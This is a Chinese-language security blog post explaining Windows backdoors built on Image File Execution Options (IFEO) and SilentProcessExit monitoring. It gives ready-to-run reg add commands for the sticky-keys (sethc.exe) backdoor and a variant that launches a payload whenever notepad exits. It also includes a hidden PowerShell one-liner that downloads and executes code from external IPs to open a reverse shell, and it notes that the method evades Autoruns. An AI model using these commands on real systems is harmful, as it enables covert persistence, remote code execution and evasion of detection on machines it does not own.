映像劫持
映像劫持(IFEO,Image File Execution Options)是微软提供给开发者的一个调试功能,用于把程序加载到调试器执行,通过劫持的方式由调试程序调用启动目标进程。该功能取决于注册表项Image File Execution Options
下的相关项。关于利用IFEO调试进程的可以参考网上的相关文章。
IFEO可以通过注册表工具regedit.exe手工操作,也可以通过GFlags工具设置。IFEO注册表项完整路径:
1 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options |
gflags工具是包含在Windows Debugging Tools (WinDbg)工具包中的一个全局标志编辑器,下载链接,安装之后:
- 双击打开gflags.exe,选择
Image File
标签 - 在Image栏里输入你希望调试的程序名。比如
sethc.exe
,Tab键刷新 - 勾选Debugger并输入
C:\windows\system32\cmd.exe
这是一个shift后门的示例。当点击应用后,sethc.exe程序会被劫持,正常情况下应该是劫持到Debugger所指定的调试器程序,由调试器程序启动目标进程,只是这里我们直接劫持使得执行的程序是cmd.exe。
进程静默退出监视特性
从Win7开始,系统增加了Monitoring Silent Process Exit特性,可以在进程静默退出时启动监视进程。其实这是给调试程序提供的事件报告功能,当程序静默退出时使用下面的几种方法进行报告。报告模式 (ReportingMode)定义如下:
Flag | 值 | 作用 |
---|---|---|
LAUNCH_MONITORPROCESS | 0x01 | 检测到静默退出时,启动监视进程 |
LOCAL_DUMP | 0x02 | 检测到静默退出时,将为受监视的进程以及导致终止的创建一个转储文件 |
NOTIFICATION | 0x04 | 检测到静默退出时,会弹出一个通知提示 |
该特性开关由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
下的GlobalFlag键值决定。
其中第一种通知方式的监视进程可以由用户指定,在gflags.exe中设置:
这个示例会在notepad程序退出时,启动一个指定的程序。此时Image File Execution Options
项下notepad.exe项会被设置GlobalFlag标志,并且SilentProcessExit
项下会被指定MonitorProcess
、ReportingMode
,决定了监控进程路径及报告方式。
这种方式Autoruns监测工具的”Image Hijacks”无法检测到。
shift映像劫持后门
后门效果1
连续键入5次Shift键会会执行cmd.exe弹出命令行窗口
操作方法:
- 定位到注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下,新建一个项,项名为sethc.exe
; - 在右侧新建一个字符串值(REG_SZ),数值名称为
Debugger
,值的内容为cmd.exe的执行路径C:\windows\system32\cmd.exe
。
命令行操作命令:
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f |
恢复命令:
1 | reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f |
后门效果2
连续键入5次Shift键,正常执行sethc.exe程序,当sethc.exe点”否”退出时,会执行cmd.exe弹出命令行窗口。
操作方法:
- 定位到注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
下,新建一个项,项名为sethc.exe
; - 在右侧新建一个字符串值 DWORD (REG_DWORD),数值名称为
GlobalFlag
,值的内容为十进制512; - 定位到注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
下,新建一个项,项名为sethc.exe
; - 在右侧新建一个字符串值(REG_SZ),数值名称为
MonitorProcess
,值的内容为cmd.exe的执行路径C:\windows\system32\cmd.exe
; - 继续在此处新建一个字符串值 DWORD (REG_DWORD),数值名称为
ReportingMode
,值的内容为十进制1。
命令行操作命令:
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f |
恢复命令:
1 | reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f |
其他程序的劫持
这里是一个示例,当关闭notepad.exe时,会出发目标系统上的一个CobaltStrike木马,获得反弹shell。
1 | use exploit/multi/script/web_delivery |
执行后生成攻击命令:
1 | powershell.exe -nop -w hidden -c $d=new-object net.webclient;$d.proxy=[Net.WebRequest]::GetSystemWebProxy();$d.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $d.downloadstring('http://192.167.19.147:8080/6sT7UfJIvMu'); |
在目标系统注册表项添加后门
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 |
攻击效果:
使用powershell等命令也可以,不过会有个黑框一闪而过
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://47.94.173.110:80/a'))\"" |
参考
- https://attack.mitre.org/techniques/T1183/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1183/T1183.md
- https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
- https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
- Post title:Windows后门-映像劫持
- Post author:ssooking
- Create time:2019-12-20 16:50:00
- Post link:https://ssooking.github.io/2019/12/windows后门-映像劫持/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.